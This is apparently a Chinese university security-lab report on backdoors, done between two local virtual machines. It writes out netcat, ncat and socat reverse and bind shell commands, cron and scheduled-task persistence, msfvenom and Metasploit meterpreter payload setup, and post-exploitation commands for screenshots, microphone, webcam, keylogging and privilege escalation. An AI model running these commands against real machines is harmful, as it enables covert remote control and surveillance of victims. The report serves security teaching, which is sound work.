Exp2 后门原理与实践
实验环境
win7ip地址为: 192.168.136.130
kali.ip地址为: 192.168.136.129
两台虚拟机可以ping通
实验步骤
1,使用netcat获取主机操作Shell,cron启动
(1)使用WIN7进行监听,kali反弹连接。WIN7中输入ncat.exe -l -p 5222,获取监听。
kali中输入nc 192.168.136.130 5222 -e /bin/sh,与WIN7进行连接,WIN7获得kali的shell。
反过来,kali监听win7也可以。
linux监听,输入命令 nc -l -p 5222.
win7去反弹连接,在ncat目录下输入ncat.exe -e cmd.exe 192.168.136.129 5222.
(2)cron启动时让linux受害者去定时反弹连接win7。
crontab -e增加一条定时任务。
格式如下:
m分钟 h小时 dom日期 mon月 dow周几 command执行的命令 * * * * * +执行什么指令(包含在哪)。
该实验中我的如下:
结果如下:在10:01时,kali中无任何操作,但WIN7已经连接上kali的shell。
2.使用socat获取主机操作Shell, 任务计划启动
在WIN7控制面板>系统和安全>计划任务>创建任务。在触发器栏开始任务选择工作站锁定时,操作栏选择socat.exe路径,在添加参数一栏中写tcp-listen:5222 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口5222,同时把cmd.exe的stderr重定向到stdout上,确定,然后运行,锁定弹出的任务栏。
在kali中输入:socat - tcp:192.168.136.130:5222,可得到WIN7shell。
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
在kali中用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=5222 -f exe > 20165222_backdoor.exe生成可执行文件。
接下来就要开始操作了。
在kali中输入msfconsole,开始使用MSF。
然后依次输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.136.129 //为kali的IP!
set LPORT 5222 //后门程序里的端口号
show options
exploit
开始监听。
WIN7运行后门程序,即可建立连接。
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
抓屏:screenshot;获取音频:record_mic;获取摄像头或录像:webcam_snap/webcam_stream.
检查是否是虚拟机:info post/windows/gather/checkvm
可见是虚拟机
键盘录入:run post/windows/capture/keylog_recorder
权限提升:getsystem,查看权限:getuid。
图中已经成为管理员。
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
1,捆绑在某些软件内。运行该软件时,后门也跟着运行,比如可能存在的某些杀毒软件。
2,系统自带。
例举你知道的后门如何启动起来(win及linux)的方式?
1,通过修改注册表开机自动启动。
2,跟随软件运行时启动。
3,配置任务计划等到一定时间自动启动。
Meterpreter有哪些给你映像深刻的功能?
拍照功能。
如何发现自己有系统有没有被安装后门?
看进程的话,后门程序本身就能捆绑到其他进程上,所以我认为应用抓包的方法,如果看到一些奇奇怪怪的包,可能被装了后门程序。
实验总结与体会
这次实验的话,前四项都比较简单,只要知道有这个东西,就算忘记了命令,查一下也能弄出来,其中MSF相当好玩,有空多去研究一下。而加分项就比较麻烦了,至少我到现在都没弄出来。还有一个比较重要的是,我感觉我要先把摄像头驱动给删了或者把摄像头给挡了,以后要用到再安装,用完就删。最好以后再把win10自带的系统进程,任务服务器,注册表,文件服务等东西记一下,去学习弄个脚本或者其他东西每次开机把非系统进程全部XX掉,抓包就算了,难分析。